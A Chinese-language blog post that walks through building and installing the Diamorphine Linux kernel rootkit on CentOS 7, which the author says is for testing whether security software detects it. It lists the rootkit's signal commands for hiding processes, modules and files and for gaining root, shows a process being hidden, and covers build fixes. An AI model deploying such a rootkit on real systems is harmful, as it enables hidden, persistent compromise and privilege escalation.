由于需要验证一个rootkit能否被安全软件检测到,故网上搜了下常见rootkit,发现一个叫diamorphine的,很简单易用,在此记录一下。
声明:仅学习参考用,非法用途后果自负。
Diamorphine是一个C语言写的,运行于linux系统的rootkit,支持linux 内核版本2.6.x/3.x/4.x。
本文验证环境:
系统:CentOS 7
内核:Linux 3.10.0-1062.12.1.el7.x86_64
(uname -s -r命令可以查看系统内核版本)
用户:root(必须要用root用户)
安装Diamorphine
直接采用源码安装方法,先下载源码:git clone https://github.com/m0nad/Diamorphine.git
下载完成后,进入目录(cd Diamorphine)
编译源码:
make
如果顺利(不顺利的话参见问题解决看是否遇到类似的问题),编译完成后,结果如下:
[root@test /home/rootkit/Diamorphine]# ll
total 644
-rw-r--r-- 1 root root 9416 Sep 4 17:53 diamorphine.c
-rw-r--r-- 1 root root 329 Sep 4 17:53 diamorphine.h
-rw-r--r-- 1 root root 306368 Sep 4 17:54 diamorphine.ko
-rw-r--r-- 1 root root 1805 Sep 4 17:54 diamorphine.mod.c
-rw-r--r-- 1 root root 60008 Sep 4 17:54 diamorphine.mod.o
-rw-r--r-- 1 root root 250392 Sep 4 17:54 diamorphine.o
-rw-r--r-- 1 root root 1456 Sep 4 17:53 LICENSE.txt
-rw-r--r-- 1 root root 190 Sep 4 17:53 Makefile
-rw-r--r-- 1 root root 53 Sep 4 17:54 modules.order
-rw-r--r-- 1 root root 0 Sep 4 17:54 Module.symvers
-rw-r--r-- 1 root root 1424 Sep 4 17:53 README.md
安装
insmod diamorphine.ko
卸载(暂未实际验证)
kill -63 0; rmmod diamorphine
使用
1、隐藏进程(ps命令查不到该进程了)
通过发送31信号,可以达到隐藏进程的目的
同样再次发送31信号,可以将已隐藏进程重现
命令格式:kill -31 <pid>
[root@test /home/rootkit]# ps aux | grep aia
root 69953 0.0 0.5 234104 5604 pts/0 Sl 19:46 0:01 ./bin/aia-malware
root 70330 0.0 0.0 112812 968 pts/0 S+ 20:11 0:00 grep --color=auto aia
[root@test /home/rootkit]# kill -31 69953
[root@test /home/rootkit]# ps aux | grep aia
root 70333 0.0 0.0 112812 972 pts/0 S+ 20:11 0:00 grep --color=auto aia
[root@test /home/rootkit]#
2、隐藏内核模块
发送63信号给模块,同样的再次发送将模块重现
注:lsmod命令可以查看系统模块信息
3、改变用户为root
发送64信号给任何进程,可以改变用户为root
4、隐藏文件/文件夹
任何以diamorphine_secret开头的文件或文件夹都会被隐藏
安装问题
执行make命令时遇到如下错误(具体错误信息可能不同,要看具体的内核版本):
make -C /lib/modules/3.10.0-1062.12.1.el7.x86_64/build M=/home/daik/rootkit/Diamorphine modules
make: *** /lib/modules/3.10.0-1062.12.1.el7.x86_64/build: No such file or directory. Stop.
make: *** [all] Error 2
从错误信息可以发现是没有找到文件或者目录,我们手动打开
/lib/modules/3.10.0-1062.12.1.el7.x86_64/build,发现这个目录就是一个软连接,其连接到/usr/src/kernels/目录下的内核开发包,那再到这个真正的目录里面看下,发现其是空,那么问题找到了,解决方法就是按照内核开发包
安装方法:
yum install kernel-headers.x86_64 3.10.0-1062.12.1.el7
yum install kernel-devel.x86_64 3.10.0-1062.12.1.el7
如果不带具体版本,可以直接执行:
yum install kernel-headers
yum install kernel-devel
如果顺利的话,就可以发现/usr/src/kernels/目录下有内核开发包了,然后回到Diamorphine执行make即可。
如果发现安装后的内核开发包和uname查出的内核版本有细微不同(一般是小版本号),例如我的就安装了3.10.0-1127.19.1.el7.x86_64,那么就需要修改软连接了,
修改方法:
- 删除原有软连接,到/lib/modules/3.10.0-1062.12.1.el7.x86_64目录执行rm ./build
- 重新创建软连接,ln -s /usr/src/kernels/1127.19.1.el7.x86_64/ build
然后再去执行make命令即可。
目前我就遇到这些问题,大功告成。(内核版本我本想要完全匹配的,但是一直下载或者安装不了那个具体的内核版本,就没有去继续折腾,用了一个相近的内核版本了)
参考
https://blog.csdn.net/guoguangwu/article/details/100771046
https://www.jozxing.cc/archives/1410
https://www.cnblogs.com/mysky007/p/12907633.html
https://www.cnblogs.com/MYSQLZOUQI/p/5258898.html
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。